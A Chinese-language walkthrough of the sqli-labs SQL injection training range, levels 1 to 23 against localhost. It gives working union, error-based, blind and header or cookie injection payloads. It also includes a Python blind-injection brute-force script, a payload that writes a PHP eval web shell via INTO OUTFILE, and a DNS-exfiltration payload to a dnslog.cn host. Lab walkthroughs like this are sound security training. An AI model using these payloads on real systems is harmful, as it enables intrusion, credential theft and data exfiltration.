sqli-labs
- less 1---单引号字符型注入
- less 2---整型注入
- less 3---单引号变形字符型注入
- less 4---双引号字符型注入
- less 5---双注入单引号字符型注入
- less 6---双注入双引号字符型注入
- less 7---导出文件字符型注入
- less 8---布尔型单引号盲注
- less 9---基于时间的单引号盲注
- less 10---基于时间的双引号盲注
- less 11---POST型单引号字符型注入
- less 12---双引号POST型字符型变形的注入
- less 13---POST单引号变形双注入
- less 14---POST单引号变形双注入
- less 15---基于bool型/时间延迟单引号POST型盲注
- less 16---基于bool型/时间延迟的双引号POST型盲注
- less 17---基于错误的更新查询POST注入
- less 18---基于错误的用户代理,头部POST注入
- less 19---Referer POST报错注入
- less 20---cookie头部POST注入
- less 21---复杂的字符型Cookie注入
- less 22---双引号字符型Cookie注入
- less 23---基于错误的,过滤注释的GET型
- less 24---二次注入
less 1—单引号字符型注入
字符型注入,单引号
网址后面接
?id=1
正常显示,然后
判断注入点
?id=1' and 1=1--+
将1=1换成1=2,发现没有报错,但不显示信息,说明可以使用字符注入
之后
判断列数
使用order by,从1开始逐渐递增,报错时停止。
?id=1' order by 1--+
由此我们可以确认列数为3(4报错)
再
判断数据显示位置
我们地址后输入
?id=0' union select 1,2,3--+
然后便可以
插入SQL的一些语句去查询更多信息
查找当前使用的数据库的名称
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,database()--+
查询所有的库名
http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata --+
查询所有的表名
http://127.0.0.1/sqli-labs-master/less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
查找security数据库的信息
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查看user表中的列名
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='user'--+
查看user表中的username这一列的值
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(username) from security.users--+
查看user表中的密码这一列的值
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1' union select 1,2,group_concat(password) from security.users--+
less 2—整型注入
我们先
判断注入点
?id=1 and 1=1--+
将1=1换成1=2,不显示信息,不报错。
接着
判断列数
地址后接
?id=1 order by 1--+
判断数据显示位置
与less1大致相同
判断数据显示位置
与less1大致相同
插入SQL语句查询更多信息
与less1大致相同
less 3—单引号变形字符型注入
我们查看一下该关卡的源代码可以看到
这就需要我们注入的时候闭合掉括号
判断注入点
?id=1') and 1=1 --+
在查询其他信息的时候记住
id后面加上’)再添加相应的语句查询
步骤同上
less 4—双引号字符型注入
判断注入点
将接在id的值的后面的')
换成"
http://127.0.0.1/sqli-labs-master/Less-4/?id=1" and 1=2--+
其他不变
less 5—双注入单引号字符型注入
我们首先尝试
判断注入点
http://127.0.0.1/sqli-labs-master/Less-5/?id=1' and 1=1--+
发现显示
显示了报错信息,再查看下源代码确定下~
问题不大,也就是说如果查询语句执行正确,我们会看到
执行错误则显示错误信息
这里贴一个用来爆破数据库名长度和具体名称的python脚本,测试url也就是靶场的第五关,原理也就是布尔盲注的原理
import requests
def database_len():
global aa
for i in range(1, 10):
url = '''http://127.0.0.1/sqli-labs-master/Less-5/index.php'''
payload = '''?id=1' and length(database())>%s''' % i
# print(url+payload+'%23')
r = requests.get(url + payload + '%23')
if 'You are in' in r.text:
print(i)
continue
else:
# print('false')
print('database_length:', i)
aa = i
break
def database_name():
global aa
name = ''
for j in range(1, aa+1):
for i in 'sqcwertyuioplkjhgfdazxvbnm':
url = "http://127.0.0.1/sqli-labs-master/Less-5/index.php?id=1' and substr(database(),%d,1)='%s'" % (j, i)
# print(url+'%23')
r = requests.get(url + '%23')
if 'You are in' in r.text:
name = name + i
print(name)
break
print('database_name:', name)
if __name__ == "__main__":
aa = 0
database_len()
database_name()
因为注入点有报错信息,所以也可以使用报错注入
url后面接:
?id=-1'and(select updatexml(1,concat(0x7E,(select database()),0x7E),1)) --+
即可爆出数据库名
另外时间盲注也可用于本题
用于判断数据库名的长度的语句
http://localhost/sqli-labs-master/Less-5/?id=1' and if(length(database())=8,sleep(5),sleep(1))--+
less 6—双注入双引号字符型注入
看名字也和第五关差不多,将第五关的单引号替换为双引号即可。
http://127.0.0.1/sqli-labs-master/Less-5/?id=1" and 1=1--+
less 7—导出文件字符型注入
判断注入点
http://localhost/sqli-labs-master/Less-7/?id=1'))--+
判断列数
url后当order by 后的数字等于4时开始报错,所以列数为3
?id=1')) order by 4--+
然后我们还可以通过文件的读写来上传shell
http://localhost/sqli-labs-master/Less-7/?id=1')) union select 1,'<?php eval($_REQUEST[a]); ?>',3 into outfile 'D://1.php'--+
用蚁剑或者菜刀连接均可
less 8—布尔型单引号盲注
判断注入点
http://localhost/sqli-labs-master/Less-8/?id=1' and 1=1--+
在判断列数的时候,输入4,错误无回显
http://localhost/sqli-labs-master/Less-8/?id=1' order by 4--+
所以报错注入就不适用,可以使用布尔注入和时间注入。具体可看less5
同时,该题也可用dns回显注入(当目标无显示位也无错误回显时便可使用此方法)
dns回显注入
我们用这个网址
http://www.dnslog.cn/
点击get。。之后产生的网址
1mdsdg.dnslog.cn
于是我们可以构造payload
http://localhost/sqli-labs-master/Less-8/?id=1' and load_file(concat("\\\\",(database()),".2asf57f.dnslog.cn\\1.txt")) --+
less 9—基于时间的单引号盲注
判断注入点
http://localhost/sqli-labs-master/Less-9/?id=1' and 1=1 --+
测试后发现,错误语句页面也不变。则可以使用时间盲注,当然同样可以使用DNS回显
less 10—基于时间的双引号盲注
将单引号换成双引号就可
可使用时间盲注和DNS回显
less 11—POST型单引号字符型注入
判断注入点
我们首先尝试Username 为admin'#
,密码随便输入,成功进入
然后还可以在Usename处
判断列数
admin' order by 3 #
判断数据显示的位置
我们在Usename里输入
as' union select 1,2#
发现选择3时会报错,所以数据的显示就是第一列和第二列
插入SQL查询语句
同less1类似,插入在Usename中
当然,此时也可以使用报错注入
Usename中输入,password随便填写
sa' and updatexml(1,concat(0x5e,(select group_concat(username,0x7e,password) from users),0x5e),1)#
less 12—双引号POST型字符型变形的注入
同less11类似,不同的是闭合的符号有些不一样
Usename中变为此形式即可
a")
less 13—POST单引号变形双注入
测试以后的界面
无回显。我们可以尝试使用报错注入
admin') and extractvalue(1,concat(0x7e,(select database()))) #
然后还可以使用时间盲注
less 14—POST单引号变形双注入
界面和上一关相同,我们尝试使用报错注入
admin" and extractvalue(1,concat(0x7e,(select database())))#
less 15—基于bool型/时间延迟单引号POST型盲注
单引号直接闭合
ads' or 1=1#
在Usename中插入时间盲注语句,简单判断一下数据库的长度
ads' and if(length(database())=8,sleep(5),sleep(1))#
可以看到时间大于5秒,时间盲注可行
less 16—基于bool型/时间延迟的双引号POST型盲注
和上一关类似,仅仅需要将单引号改成双引号。
ads" or 1=1#
less 17—基于错误的更新查询POST注入
我们再查看一下源代码
可以知道uname参数会被一个函数check_input()包裹
我们尝试寻找函数具体语句
可以看到使用了get_magic_quotes_gpc()进行过滤。
但是这都是针对Usename的,password没有任何限制。那么我们可以在password进行报错注入
我们在Usename中输入admin
password中输入:
admin' and updatexml(1,concat(0x7e,version(),0x7e),1) --+
less 18—基于错误的用户代理,头部POST注入
我们直接输入正确的账号和密码试试
可以看到出现有User Agent回显,所以我们可以抓包,然后再修改User Agent,在其插入SQL语句
'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
less 19—Referer POST报错注入
老规矩,我们用正确的账户测试一下回显的位置
发现出现了Referer,我们尝试抓包,再修改Referer,语句和上一关一样,只是修改的位置不同。
'and updatexml(1,concat(0x7e, database(),0x7e),1) and '1'='1
less 20—cookie头部POST注入
我们输入了正确的账户之后,出现了很多回显。我们再抓登陆的包看一下
那我们尝试将最后一行行删除,然后修添加cookie
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
成功出现报错回显
less 21—复杂的字符型Cookie注入
同样,我们首先输入正确的账户信息登陆来查看回显
发现uname的值变成了大小写英文加数字的组合,显然是进行了编码
这里是base64编码
我们抓包试试,然后重复上一关的操作来添加cookie
' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1
我们将这条语句用base64编码,然后再点击Go
less 22—双引号字符型Cookie注入
这一关和前两关类似,注入时只要将单引号换成双引号即可
" and updatexml(1,concat(0x7e,database(),0x7e),1) and "1"="1
less 23—基于错误的,过滤注释的GET型
我们查看一下源代码
发现本关中将注释符给替换了。SQL语句中我们可以看出这里是单引号字符型注入。
我们构造SQL语句
?id=1'union select 1,2,3 and '1'='1
然后我们尝试爆库
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata where 1 and '1'='1